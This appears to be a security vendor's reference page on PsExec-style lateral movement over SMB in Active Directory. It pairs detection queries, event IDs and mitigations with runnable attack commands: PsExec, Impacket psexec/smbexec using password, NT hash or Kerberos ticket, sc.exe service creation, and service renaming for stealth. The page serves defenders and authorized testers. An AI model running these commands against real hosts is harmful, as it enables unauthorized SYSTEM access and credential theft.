1. Resources
  2. Identity Threats
  3. Active Directory

Remote Service Creation over SMB (PsExec-Style Lateral Movement)

Also known as: PsExec lateral movement, Remote service execution, smbexec, Admin share lateral movement, SCM lateral movement

An account that is a local administrator on a Windows host can copy a file to an admin share, create a service over SMB and run code there as SYSTEM.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Low
Privileges required: Specific rights or roles
A domain or local account that is a member of the local Administrators group on the target, directly or through nested groups, and SMB access to it on TCP 445.
What the attacker gains
Command execution as SYSTEM on the target host, and from there the credentials of every account that is signed in or stored on it.
Threat groups
APT28APT3APT32APT39APT41Aquatic PandaBlackByteBlue MockingbirdChimeraCinnamon TempestDeep PandaFIN13FIN8Fox Kittenand 42 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1021.002, T1569.002, T1543.003, T1078.002.

How it works

Windows lets an administrator manage services on another computer. The Service Control Manager (SCM) exposes a remote interface over a named pipe on the IPC$ share, and the administrative shares ADMIN$ and C$ give write access to the system directory and the system drive. Put together, an administrator can copy an executable to a remote host, register it as a service, and start it. A service runs as LocalSystem unless another account is configured, so the result is code execution as SYSTEM. This is the best known form of lateral movement in a Windows domain.

Sysinternals PsExec is the reference implementation. It copies an embedded service binary (PSEXESVC) to the target's ADMIN$ share, uses the SCM remote interface to create and start it, and talks to it over a named pipe to pass the command and return its input and output. When the command ends, the service is stopped and removed. Offensive tools reproduce the sequence with their own details:

Tool What is written to the target Service
PsExec The PSEXESVC service binary on ADMIN$ PSEXESVC, or the name given with -r
Impacket psexec.py A RemCom service binary with a random eight-letter name, on the first writable share Random four-letter name unless -service-name is set
Impacket smbexec.py No binary. Command output goes to a file named __output_ plus eight random letters on C$ A new service per command with a random eight-letter name, whose image path is a command line
sc.exe, Impacket services.py Nothing, unless the operator copies a file first Whatever the operator names

Why the account has that authority

The attack does not exploit a flaw. It uses rights the account already holds on the target, so the real question is how a domain account became a local administrator there:

  • Local Administrators membership. The group on a member computer contains Domain Admins by default and whatever else was added. Members can write to the admin shares and hold the right to create services on the SCM.
  • Nested domain groups. A user is often an administrator through two or three hops: the user is in a role group, the role group is in an operations group, and the operations group was added to local Administrators on a set of servers. Each hop is easy to miss in a review.
  • Restricted Groups and Group Policy Preferences. A GPO can push membership to every computer in an OU. In a Restricted Groups policy the Members list enforces who is in the named group, and Member Of adds the group to another one. One policy can make a help desk group an administrator of a thousand machines.
  • Full token for domain accounts. Remote UAC token filtering applies to local accounts that are members of local Administrators, not to domain accounts. A domain account in the group gets a full administrator token on a network logon. For local accounts, only the built-in Administrator (RID 500) is exempt, unless LocalAccountTokenFilterPolicy under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System disables the filter.
  • Shared local passwords. Where every machine has the same local Administrator password, one hash opens all of them. Windows LAPS gives each machine its own rotated password and removes that path.

The account does not need to know its password. An NT hash (Pass-the-Hash) or a Kerberos ticket authenticates the SMB session just as well.

Prerequisites

  • An account that is a member of local Administrators on the target, with a full token over the network (see above).
  • Network access to the target on TCP 445. The Server service must be running and the admin shares present, which is the default.
  • The right to log on from the network: the account must not be covered by "Deny access to this computer from the network".
  • For tools that upload a binary: an endpoint protection product that lets the file run. The stock PSEXESVC and RemCom binaries are widely signatured.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find where the account is an administrator

NetExec marks hosts where the account has administrative access with (Pwn3d!):

nxc smb 192.0.2.0/24 -u alice -p '<password>'

2. Run a command with PsExec

From a Windows host, as the current user or with explicit credentials:

:: Interactive SYSTEM shell on SRV01 as the signed-in user
psexec -accepteula \\SRV01 -s cmd

:: Explicit domain credentials, one command
psexec \\SRV01 -u CORP\alice -p <password> -s ipconfig /all

:: Copy a local program to the target and run it without waiting
psexec \\SRV01 -s -d -c payload.exe

:: Use a different service name than PSEXESVC
psexec \\SRV01 -r WinUpdateSvc -s cmd

Without -u, the remote process impersonates the caller and has no access to other network resources. Give -u and -p when the remote process must reach other network resources or run as a different account.

3. Run a command with Impacket

From Linux, psexec.py uploads the RemCom service binary and returns a SYSTEM shell. It accepts a password, an NT hash or a Kerberos ticket:

# Password
psexec.py corp.example.com/alice:'<password>'@SRV01.corp.example.com

# NT hash
psexec.py -hashes :<nt-hash> corp.example.com/alice@192.0.2.20

# Kerberos ticket from the ccache named in KRB5CCNAME
psexec.py -k -no-pass corp.example.com/alice@SRV01.corp.example.com

# Choose the service and binary names instead of random ones
psexec.py -service-name WinUpdateSvc -remote-binary-name wusvc.exe corp.example.com/alice@192.0.2.20

smbexec.py gives a semi-interactive shell without uploading a binary. Each command becomes a short-lived service:

smbexec.py -hashes :<nt-hash> corp.example.com/alice@192.0.2.20
smbexec.py -share ADMIN$ -service-name WinUpdateSvc corp.example.com/alice:'<password>'@192.0.2.20

NetExec runs one command on many hosts and can be told which method to use:

nxc smb 192.0.2.20 -u alice -p '<password>' -x whoami --exec-method smbexec

4. Create the service by hand

The built-in sc.exe takes a server name. The space after each = is required:

copy payload.exe \\SRV01\ADMIN$\payload.exe
sc.exe \\SRV01 create WinUpdateSvc binpath= "C:\Windows\payload.exe" start= demand
sc.exe \\SRV01 start WinUpdateSvc
sc.exe \\SRV01 delete WinUpdateSvc

A program that is not a real service does not answer the SCM, so the start call reports a timeout error, but the process has already run. Impacket's services.py does the same from Linux:

services.py corp.example.com/alice:'<password>'@192.0.2.20 create -name WinUpdateSvc -display "Windows Update Helper" -path 'C:\Windows\payload.exe'
services.py corp.example.com/alice:'<password>'@192.0.2.20 start -name WinUpdateSvc
services.py corp.example.com/alice:'<password>'@192.0.2.20 delete -name WinUpdateSvc

Impact

The attacker runs code as SYSTEM on the target. From there they can read the local SAM and LSA secrets (SAM, LSA secrets and cached credentials), dump the credentials of every signed-in user from LSASS (LSASS credential dumping), and reuse them on the next host. Repeating this from server to server is how an attacker reaches a machine where a Domain Admin is signed in. A service set to start automatically also persists across reboots.

The reach of one compromised account equals the number of machines where it is a local administrator, which is why broad nested grants matter more than any single host.

OPSEC and artifacts

  • Renaming the service and the binary. psexec -r, and -service-name and -remote-binary-name in Impacket, replace the well-known or random names with ones that look like software on the host. The service installation is still recorded: event 7045 in the System log with the service name, image path, start type and account, and event 4697 in the Security log where Audit Security System Extension is enabled.
  • Not uploading a binary. smbexec.py avoids the file write, but it installs a service for every command, and the image path is a command line that runs the command processor and redirects output to a file. No legitimate service looks like that.
  • Using a hash or a ticket. The password is never needed, but the network logon is the same: event 4624 with logon type 3 on the target, with the source address, followed by event 4672 because the account holds administrator privileges.
  • Cleaning up. The tools stop and delete the service and remove the file. The 7045 and 4697 records remain, and event 7036 in the System log shows the service entering the running and stopped states.
  • Share access. With File Share auditing, event 5140 records the access to ADMIN$ or C$ and to IPC$, with the source address. With Detailed File Share auditing, event 5145 records each access check, including the name of the uploaded file as the relative target.
  • On disk. The service binary in C:\Windows, or the __output_ file on the system drive, exists while the tool runs and can survive a crash or a lost connection. Each service also has a key under HKLM\SYSTEM\CurrentControlSet\Services until it is deleted.
  • Process tree. The command runs as a child of the service binary, itself a child of services.exe. Process creation auditing (event 4688) or an EDR sensor shows cmd.exe under PSEXESVC.exe, or under a randomly named executable in C:\Windows.

Detection

Join the three records the target writes: the network logon, the service installation, and the service start.

  • Service installation. Alert on event 7045 or 4697 where the service name is PSEXESVC, where the image path is in C:\Windows with a random name, or where the image path contains cmd.exe, %COMSPEC%, powershell or a redirect to a file. On domain controllers any new service is worth an alert; see Service installed on a domain controller.
  • Installer identity. Event 4697 carries SubjectUserSid and SubjectLogonId. Match the logon ID to the TargetLogonId of a type 3 event 4624 on the same host and boot to get the source address. In event 7045 the service account field is the account the service runs as, not the installer.
  • Who and from where. A workstation that opens ADMIN$ on servers, or a server account that installs services on many hosts within minutes, is the lateral movement pattern. NTLM network logons by privileged accounts are also covered by the Pass-the-Hash rules.
// Network logons, privilege assignment and service installs on one host, in order
WindowsEvent
| where TimeGenerated > ago(1d) and Computer == "SRV01.corp.example.com"
| where Channel == "Security" and Provider == "Microsoft-Windows-Security-Auditing"
| where EventID in (4624, 4672, 4697)
| extend LogonType = tostring(EventData.LogonType)
| where EventID != 4624 or LogonType == "3"
| extend Session = iff(EventID == 4624, tostring(EventData.TargetLogonId), tostring(EventData.SubjectLogonId))
| extend Actor = iff(EventID == 4624, tostring(EventData.TargetUserSid), tostring(EventData.SubjectUserSid))
| project TimeGenerated, Computer, EventID, Actor, Session,
    Source = tostring(EventData.IpAddress),
    ServiceName = tostring(EventData.ServiceName),
    ServiceFileName = tostring(EventData.ServiceFileName)
| order by TimeGenerated asc
// Service installs and state changes from the System log
WindowsEvent
| where TimeGenerated > ago(1d)
| where Channel == "System" and Provider == "Service Control Manager" and EventID in (7036, 7045)
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated asc

Software deployment tools, backup agents and administrators using PsExec produce the same events. Baseline which accounts and source hosts install services on which servers, and alert on the rest.

Mitigation

  • Reduce who is a local administrator. Review local Administrators on every server role, expand the nested groups, and remove grants that a role does not need. Enforce the result with a Restricted Groups policy, and check what a GPO's Members list will remove before linking it. This is least privilege applied to hosts.
  • Tier administration. Accounts that administer domain controllers should not sign in to member servers, and server administrators should not administer workstations. The Active Directory hardening guide describes the tier model and the logon restrictions that enforce it.
  • Deploy Windows LAPS so no two machines share a local administrator password, and restrict who can read the passwords. See the Windows LAPS guide.
  • Keep remote UAC filtering on. Do not set LocalAccountTokenFilterPolicy to 1, and deny network logon to local accounts with the built-in "Local account and member of Administrators group" identity.
  • Restrict SMB between workstations. A host firewall rule that accepts inbound TCP 445 only from management hosts and file-serving peers stops workstation-to-workstation movement.
  • Review service ACLs. Check who can create services on the SCM and who can change the configuration or the executable of an existing privileged service; a writable service path gives the same result without creating anything.
  • Audit. Enable Audit Security System Extension, Audit Logon, Audit Special Logon and Audit Detailed File Share on servers, and collect the System log. The audit policy guide lists the settings.

Detection rules for this attack

Log events to collect

FAQ

What rights does PsExec-style lateral movement need?

Membership of the local Administrators group on the target, and SMB access to it. Administrators can write to the ADMIN$ share and create services through the Service Control Manager. A domain account that is a local administrator receives a full administrator token on a network logon, so no extra step is needed.

Why does a local administrator account sometimes fail where a domain account works?

Remote UAC token filtering applies to local accounts in the local Administrators group: over the network they receive a filtered token. The built-in Administrator account (RID 500) is exempt, and the LocalAccountTokenFilterPolicy registry value turns the filter off. Domain accounts are never filtered this way.

Which events show that a service was created remotely?

Event 7045 in the System log records every new service with its name, image path and account. Event 4697 in the Security log records the same installation with the installing account and its logon ID, which can be matched to a type 3 logon (event 4624) from the source address a moment earlier.

Does smbexec avoid detection because it uploads no file?

It avoids the file write to the admin share, but it creates and starts a service for each command, and the service's image path is a command line. That leaves an event 7045 per command with a path that no legitimate service uses, which is easier to spot than a PsExec service.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.